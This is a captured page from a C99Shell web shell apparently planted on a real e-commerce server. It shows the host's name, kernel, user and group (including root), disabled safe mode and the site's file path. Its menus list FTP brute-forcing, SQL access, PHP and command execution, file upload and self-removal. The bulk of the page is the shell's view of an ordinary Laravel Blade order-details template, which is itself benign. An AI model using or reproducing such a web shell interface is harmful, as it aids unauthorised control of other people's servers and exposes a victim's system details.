!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/resources/views/frontend/user/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     orderdetails.blade.php (13.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
@extends('frontend.layouts.app', ['class' => 'bg-white'])
@push('css')
<!-- CSS -->
<link rel="stylesheet" type="text/css" href="{{ asset('frontend') }}/css/shopping-table.css">
<link rel="stylesheet" type="text/css" href="{{ asset('frontend') }}/css/shop-listing2.css">
<link rel="stylesheet" type="text/css" href="{{ asset('frontend') }}/css/star-rating-svg.css">
<style>
  .rated {
    color: #ffc100;
    font-size: 20px;
  }

  ​ .btn-extra-sm {
    font-size: 20px;
  }
</style>

@endpush

@section('content')

<!--==== START BREADCUMB ====-->
<section class="page-crumb">
  <div class="otrixcontainer">
    <ul class="cd-breadcrumb">
      <li><a href="{{url('/')}}">{{ __('homepage')['title']}}</a></li>
      <li><a href="{{route('get-orders')}}">{{ __('account')['label_order']}}</a></li>
      <li class="current">{{ __('order_details')['title']}}</li>
    </ul>
    <div class="heading-xs my-2">{{ __('order_details')['title']}}</div>
  </div>
</section>
<!--==== END BREADCUMB ====-->

<!--==== START MAIN ====-->
<section class="mt-3" id="shop-listing">
  <div class="row">
    <div class="col-md-2 col-xl-2 col-lg-2 col-sm-4">
      <div class="order-box d-flex justify-content-center">
        <p>{{ __('order_details')['order']}}</p>
        <span>#{{$order->invoice_no}}</span>
      </div>
    </div>
    <div class="col-md-2 col-xl-2 col-lg-2 col-sm-4">
      <div class="order-box d-flex justify-content-center">
        <p>{{ __('order_details')['order_date']}}</p>
        <span>{{date('d M Y',strtotime($order->order_date))}}</span>
      </div>
    </div>
    <div class="col-md-2 col-xl-2 col-lg-2 col-sm-4">
      <div class="order-box d-flex justify-content-center">
        <p>{{ __('order_details')['order_total']}}</p>
        <span>{{config('settingConfig.config_currency')}}{{number_format($order->grand_total,2)}}</span>
      </div>
    </div>
    <div class="col-md-2 col-xl-2 col-lg-2 col-sm-4">
      <div class="order-box d-flex justify-content-center">
        <p>Status</p>
        <span>{{$order->orderStatus ? $order->orderStatus->name : 'N/A'}}</span>
      </div>
    </div>
    <div class="col-md-2 col-xl-2 col-lg-2 col-sm-4">
      <div class="order-box d-flex justify-content-center">
        <p>Payment Method</p>
        <span>{{$order->payment_method}}</span>
      </div>
    </div>
    <div class="col-md-2 col-xl-2 col-lg-2 col-sm-4">
      <div class="order-box d-flex justify-content-center">
        <p>Shipping Method</p>
        <span>{{$order->shipping_method}}</span>
      </div>
    </div>
  </div>

  <div class="row my-3">
    <div class="col-md-4 col-xl-4 col-lg-4 col-sm-12">
      <div class="order-detail-box box-summary ">
        <div class="title p-2">
          <img src="{{ asset('frontend') }}/images/wallet.png" alt="">
          <p class="mx-3">{{ __('order_details')['order_summary']}}</p>
        </div>
        <div class="row px-2 o-details mt-3">
          <div class="col-md-5 col-xl-5 col-lg-5">
            <p class="text-left">{{ __('cart')['sub_total']}}</p>
          </div>
          <div class="col-md-1 col-xl-1 col-lg-1 one-column">
            <span class="dot">:</span>
          </div>
          <div class="col-md-5 col-xl-5 col-lg-5">
            <span>{{config('settingConfig.config_currency')}}{{number_format($order->total,2)}}</span>
          </div>
        </div>
        <div class="row px-2 o-details mt-3">
          <div class="col-md-5 col-xl-5 col-lg-5">
            <p class="text-left">{{ __('order_details')['shipping_charge']}}</p>
          </div>
          <div class="col-md-1 col-xl-1 col-lg-1 one-column">
            <span class="dot">:</span>
          </div>
          <div class="col-md-5 col-xl-5 col-lg-5">
            <span>{{config('settingConfig.config_currency')}}{{number_format($order->total,2)}}</span>
          </div>
        </div>
        <div class="row px-2 o-details mt-3">
          <div class="col-md-5 col-xl-5 col-lg-5">
            <p class="text-left">{{ __('order_details')['tax']}}</p>
          </div>
          <div class="col-md-1 col-xl-1 col-lg-1 one-column">
            <span class="dot">:</span>
          </div>
          <div class="col-md-5 col-xl-5 col-lg-5">
            <span>{{config('settingConfig.config_currency')}}{{$order->tax_amount}}</span>
          </div>
        </div>
        <div class="row px-2 o-details mt-3">
          <div class="col-md-5 col-xl-5 col-lg-5">
            <p class="text-left">{{ __('order_details')['discount']}}</p>
          </div>
          <div class="col-md-1 col-xl-1 col-lg-1 one-column">
            <span class="dot">:</span>
          </div>
          <div class="col-md-5 col-xl-5 col-lg-5">
            <span>{{config('settingConfig.config_currency')}}{{$order->discount}}</span>
          </div>
        </div>
        <div class="row px-2 o-details mt-3">
          <div class="col-md-5 col-xl-5 col-lg-5">
            <p class="text-left">{{ __('order_details')['order_total']}}</p>
          </div>
          <div class="col-md-1 col-xl-1 col-lg-1 one-column">
            <span class="dot">:</span>
          </div>
          <div class="col-md-5 col-xl-5 col-lg-5">
            <span>{{config('settingConfig.config_currency')}}{{number_format($order->grand_total,2)}}</span>
          </div>
        </div>
      </div>
    </div>

    <div class="col-md-4 col-xl-4 col-lg-4 col-sm-12">
      <div class="order-detail-box">
        <div class="title p-2">
          <img src="{{ asset('frontend') }}/images/truck.png" alt="">
          <p class="mx-3">Shipping Address</p>
        </div>
        <p class='addressItem px-5'>{{$order->shipping_name}}, {{$order->shipping_address_1}},
          {{$order->shipping_address_2}} </p>
        <span class='py-3 px-5'>Postcode: {{$order->shipping_postcode}}</span>
        <br>
        <span class='py-3 px-5'>City: {{$order->shipping_city}}</span>
        <br>
      </div>
    </div>

    <div class="col-md-4 col-xl-4 col-lg-4 col-sm-12">
      <div class="order-detail-box">
        <div class="title p-2">
          <img src="{{ asset('frontend') }}/images/bill.png" alt="">
          <p class="mx-3">Billing Address</p>
        </div>
        <p class='addressItem px-5'>{{$order->billing_name}}, {{$order->billing_address_1}},
          {{$order->billing_address_2}} </p>
        <span class='py-3 px-5'>Postcode: {{$order->billing_postcode}}</span>
        <br>
        <span class='py-3 px-5'>City: {{$order->billing_city}}</span>
        <br>
      </div>
    </div>

  </div>


  <div class="orderlist my-3 orderdetailstable">
    <div class="table-responsive-sm">
      <table class="table table-borderless">
        <thead>
          <tr>
            <th scope="col" width="30%">Product</th>
            <th scope="col" width="10%">{{ __('order_details')['quantity']}}</th>
            <th scope="col" width="10%">{{ __('product_details')['price']}}</th>
            <th scope="col" width="10%">{{ __('orders')['order_status']}}</th>
            <th scope="col" width="10%">{{ __('cart')['total_price']}}</th>
            <th scope="col" width="20%">{{ __('account')['action']}}</th>
            <th scope="col" width="10%">Review</th>
          </tr>
        </thead>
        <tbody>
          @forelse($order->products as $key=>$product)
          @php
          $productDetails = getProductOptions($product->product_id);

          @endphp
          <tr>
            <td>
              <div class="d-flex justify-content-start align-items-center">

                <img src="{{asset('/uploads')}}/product/{{$product->image}}" alt="" class="order-detail-product-image">
                <div class="flex-column">
                  <span class=""> {{$product->name}}</span>
                  @if( $productDetails['options'] )
                  @foreach( $productDetails['options'] as $option)
                  <div class="mx-3 my-2 d-flex flex-row">
                    <div class="p-1 optiontitle ">{{$option['name']}}:</div>
                    <div class="p-1 text-bold optionlabel ">{{$option['label']}}
                      (+{{config('settingConfig.config_currency')}}{{$option['price']* $product->quantity}})</div>
                  </div>
                  @endforeach
                  @endif
                </div>
              </div>
            </td>
            <td class="">
              {{$product->quantity}}x
            </td>
            <td>{{config('settingConfig.config_currency')}} {{number_format($product->price,2)}}</td>
            <td>{{$order->orderStatus ? $order->orderStatus->name : 'N/A'}}</td>
            <td>{{config('settingConfig.config_currency')}} {{number_format($product->total,2)}}</td>
            <td><a href="{{url('product')}}/{{$product->product_id}}" class="button-purple btn-sm ">{{
                __('orders')['buy_again']}}</a></td>
            <td>
              <input type="hidden" name="product_id" id="review-product-id" value="{{$product->product_id}}">

              @if ($order->orderStatus->name=='Delivered')
              <button type="button" class="button-purple btn-sm review-rating-system" data-id={{$product->product_id}}>
                Review
              </button>
              @else
              <button type="button" class="button-purple btn-sm disable"> Review</button>
              @endif
            </td>
          </tr>
          @empty
          <tr colspan="5">
            <h4 class="p-5 text-center text-black">{{ __('account')['order_not']}}</h4>
          </tr>
          @endforelse
        </tbody>
      </table>
    </div>
  </div>



</section>
<!--==== END MAIN ====-->

{{-- Review Modal--}}
<div class="modal fade " id="rate-modal" tabindex="-1" role="dialog" aria-labelledby="productDetailsModalaria"
  aria-hidden="true">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
      <div class="modal-header border-bottom-0 ">
        <h5></h5>
        <button type="button" onclick="closeRateModel()" class="btn btn-outline-primary btn-md" data-dismiss="modal"
          aria-label="Close">
          <span aria-hidden="true"> &times;</span>
        </button>
      </div>
      <div class="modal-body mt-1">
        <form method="POST" id="myForm" action="{{route('submit.review')}}">
          <h4 class="text-center">{{ __('order_details')['rate_this_product']}}</h4>
          @csrf
          <div class="rating text-center p-2"> </div>
          <span class="live-rating text-center"></span>
          <input type="hidden" name="rating" value="" id="customer-review">
          <input type="hidden" name="product_id" value="" id="productid">
      </div>

      
      <div class="append-ratting">

      </div>
      <div class="form-group">
        {{-- <label for="firstName">{{ __('order_details')['rate_text']}} </label> --}}
        <textarea class="form-control" name="text" placeholder="{{ __('order_details')['rate_text']}} " name="ra"
          rows="4" cols="4"></textarea>
      </div>

      <div class="d-flex justify-content-center my-3">
        <button type="submit" class="button-block btn-lg">{{
          __('order_details')['rate_product_now']}}</button>
      </div>
      </form>
    </div>
  </div>
</div>
</div>
{{-- End Stripe Modal--}}

@push('js')
<script type="text/javascript" src="{{ asset('frontend/js/jquery.star-rating-svg.js') }}"></script>
<script type="text/javascript" src="{{ asset('frontend/js/rating.js') }}"></script>
<script type="text/javascript" src="{{ asset('frontend/js/jquery.rating-stars.js') }}"></script>
<script type="text/javascript" src="{{ asset('frontend/js/rater.min.js') }}"></script>
<script>
  
  $(document).on("click", ".review-rating-system", function(e) {
            e.preventDefault();

          $(".append-ratting").html('');
          $(".append-ratting").html(`<div class="rated"></div>`);
            rattingGenarete();
            $("#rate-modal").modal('show');
            const productId =$(this).attr('data-id');
           
             $("#productid").val(productId);
             if ($('.won-btn-btn').hasClass('won_btn')) {

             }

           
      });
</script>

<script type="text/javascript">
  function closeRateModel() {
    document.getElementById("myForm").reset();
    $('#rate-modal').modal('hide')
  }
  function showRateModel(productID){

    $('#productid').val(productID)
    $(".rating").starRating({
      totalStars: 5,
      emptyColor: 'lightgray',
      hoverColor: 'slategray',
      disableAfterRate: false,
      activeColor: 'cornflowerblue',
      initialRating: 0,
      strokeWidth: 0,
      readOnly: false,
      useGradient: false,
      minRating: 1,
      onLeave: function(currentIndex, currentRating, $el){
        $('.live-rating').text(currentRating);
        $('#review').val(currentRating)
      }
    });
    $('#rate-modal').modal('show')
  }
</script>
<script type="text/javascript">

  function rattingGenarete(){
    const options = {
      max_value: 5,
      step_size: 1,
      initial_value: 0,
  }
  $(".rated").rate(options);
  $(document).on('change', '.rated', function (ev, data) {


  });
  const element = document.querySelectorAll('.userRate');
  Array.from(element).forEach((elements, index) => {

      let userRate = $(elements).attr('data-rate');

      $(elements).addClass('rated').rate({
          max_value: 5,
          step_size: 1,
          initial_value: userRate,
          readonly: true
      })
  });
  }
</script>
<script>
  $(document).on("click", ".rated", function(e) {
            e.preventDefault();

            const rating =$(this).attr('data-rate-value');
      
            $("#customer-review").val(rating);
            
           
      });
</script>

@endpush
@endsection

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--